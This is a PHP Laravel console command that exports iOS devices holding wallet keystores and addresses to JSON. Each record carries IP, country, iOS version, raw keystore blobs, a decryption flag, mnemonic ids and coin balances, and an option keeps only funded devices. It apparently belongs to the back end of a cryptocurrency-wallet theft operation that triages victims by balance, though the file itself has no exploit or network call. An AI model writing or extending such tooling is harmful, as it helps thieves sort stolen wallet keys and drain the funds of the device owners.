Files
coruna-lab/app/Console/Commands/ExportKeystoreDevicesCommand.php
T
2026-09-17 04:30:15 +08:00

238 lines
7.7 KiB
PHP

<?php
namespace App\Console\Commands;
use App\Models\Device;
use App\Models\WalletAddress;
use Illuminate\Console\Command;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Support\Facades\DB;
class ExportKeystoreDevicesCommand extends Command
{
protected $signature = 'coruna:export-keystore-devices
{--path= : Output JSON file (default storage/app/keystore-devices-*.json)}
{--with-balance : Only devices that have at least one address with a non-zero coin}
{--no-raw : Omit keystore raw_json blobs}';
protected $description = 'Export devices that have both a keystore and wallet addresses';
public function handle(): int
{
DB::disableQueryLog();
$path = $this->resolvePath();
if ($path === null) {
return self::FAILURE;
}
$fh = fopen($path, 'w');
if ($fh === false) {
$this->error('Cannot write: '.$path);
return self::FAILURE;
}
$ids = $this->deviceQuery()->orderBy('id')->pluck('id');
$includeRaw = ! $this->option('no-raw');
$flags = JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES;
fwrite($fh, "{\n");
fwrite($fh, ' "exported_at": '.json_encode(now()->toIso8601String(), $flags).",\n");
fwrite($fh, ' "with_balance": '.($this->option('with-balance') ? 'true' : 'false').",\n");
fwrite($fh, ' "include_raw": '.($includeRaw ? 'true' : 'false').",\n");
fwrite($fh, ' "device_count": '.$ids->count().",\n");
fwrite($fh, ' "devices": ['."\n");
$first = true;
foreach ($ids as $id) {
$device = Device::query()->find($id, [
'id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'country', 'wallet_names',
]);
if (! $device) {
continue;
}
if (! $first) {
fwrite($fh, ",\n");
}
$first = false;
$this->writeDevice($fh, $device, $includeRaw, $flags);
unset($device);
gc_collect_cycles();
}
fwrite($fh, "\n ]\n}\n");
fclose($fh);
$this->info('wrote '.$ids->count().' devices -> '.$path);
return self::SUCCESS;
}
private function resolvePath(): ?string
{
$path = trim((string) $this->option('path'));
if ($path === '') {
$path = storage_path('app/keystore-devices-'.now()->format('Ymd-His').'.json');
} elseif (! str_starts_with($path, '/')) {
$path = base_path($path);
}
$dir = dirname($path);
if (! is_dir($dir) && ! mkdir($dir, 0775, true) && ! is_dir($dir)) {
$this->error('Cannot create directory: '.$dir);
return null;
}
return $path;
}
private function deviceQuery(): Builder
{
return Device::query()
->whereHas('keystores')
->whereHas('addresses', function (Builder $q) {
if (! $this->option('with-balance')) {
return;
}
$q->where(function (Builder $inner) {
foreach (WalletAddress::COIN_COLUMNS as $col) {
$inner->orWhere($col, '>', 0);
}
});
});
}
/**
* Stream one device object. Never json_decode keystore blobs.
*
* @param resource $fh
*/
private function writeDevice($fh, Device $device, bool $includeRaw, int $flags): void
{
$ksMeta = DB::table('wallet_keystores')
->where('device_id', $device->id)
->orderBy('id')
->get(['id', 'source', 'decrypted', 'created_at']);
$addresses = $this->serializeAddresses($device);
$header = [
'id' => $device->id,
'device_id' => $device->device_id,
'channel_id' => $device->channel_id,
'model' => $device->device_model,
'ios_version' => $device->ios_version,
'ip' => $device->ip,
'country' => $device->country,
'wallet_names' => $device->walletNameList(),
'keystore_count' => $ksMeta->count(),
'address_count' => count($addresses),
'addresses' => $addresses,
];
$encoded = json_encode($header, $flags);
if ($encoded === false) {
fwrite($fh, '{"id":'.$device->id.',"error":"encode failed"}');
return;
}
fwrite($fh, substr($encoded, 0, -1));
fwrite($fh, ',"keystores":[');
$ksFirst = true;
foreach ($ksMeta as $row) {
if (! $ksFirst) {
fwrite($fh, ',');
}
$ksFirst = false;
$this->writeKeystore($fh, (int) $row->id, (string) $row->source, (int) $row->decrypted, (string) $row->created_at, $includeRaw, $flags);
}
fwrite($fh, ']}');
$this->line(sprintf(
'device %s keystores=%d addresses=%d',
$device->device_id,
$ksMeta->count(),
count($addresses),
));
}
/**
* @param resource $fh
*/
private function writeKeystore($fh, int $id, string $source, int $decrypted, string $createdAt, bool $includeRaw, int $flags): void
{
$meta = [
'id' => $id,
'source' => $source,
'decrypted' => $decrypted,
'created_at' => $createdAt !== '' ? $createdAt : null,
];
if (! $includeRaw) {
$len = (int) (DB::table('wallet_keystores')->where('id', $id)->selectRaw('LENGTH(raw_json) as n')->value('n') ?? 0);
$meta['raw_json_len'] = $len;
fwrite($fh, (string) json_encode($meta, $flags));
return;
}
$blob = DB::selectOne(
'select convert(cast(raw_json as char character set utf8mb4) using utf8mb4) as raw_json from wallet_keystores where id = ?',
[$id],
);
$raw = is_object($blob) ? $blob->raw_json : null;
if (is_array($raw)) {
$raw = json_encode($raw, $flags) ?: 'null';
} elseif (! is_string($raw) && $raw !== null) {
$raw = (string) $raw;
}
$encodedMeta = json_encode($meta, $flags);
fwrite($fh, substr((string) $encodedMeta, 0, -1));
fwrite($fh, ',"raw_json":');
if ($raw === null || $raw === '') {
fwrite($fh, 'null');
} elseif ($this->looksLikeJson($raw)) {
fwrite($fh, $raw);
} else {
fwrite($fh, (string) json_encode($raw, $flags));
}
fwrite($fh, '}');
unset($blob, $raw);
gc_collect_cycles();
}
private function looksLikeJson(string $raw): bool
{
$trim = ltrim($raw);
return $trim !== '' && ($trim[0] === '{' || $trim[0] === '[');
}
/**
* @return list<array<string, mixed>>
*/
private function serializeAddresses(Device $device): array
{
$addresses = [];
foreach ($device->addresses()->orderBy('id')->cursor() as $addr) {
$coins = [];
foreach (WalletAddress::COIN_COLUMNS as $col) {
$raw = $addr->{$col};
if ($raw === null || $raw === '' || (float) $raw == 0.0) {
continue;
}
$coins[$col] = WalletAddress::formatAmount($col, $raw);
}
$addresses[] = [
'id' => $addr->id,
'address' => $addr->address,
'chain_type' => $addr->chain_type,
'source' => $addr->source,
'mnemonic_id' => $addr->mnemonic_id,
'derive_index' => $addr->derive_index,
'coins' => $coins,
];
}
return $addresses;
}
}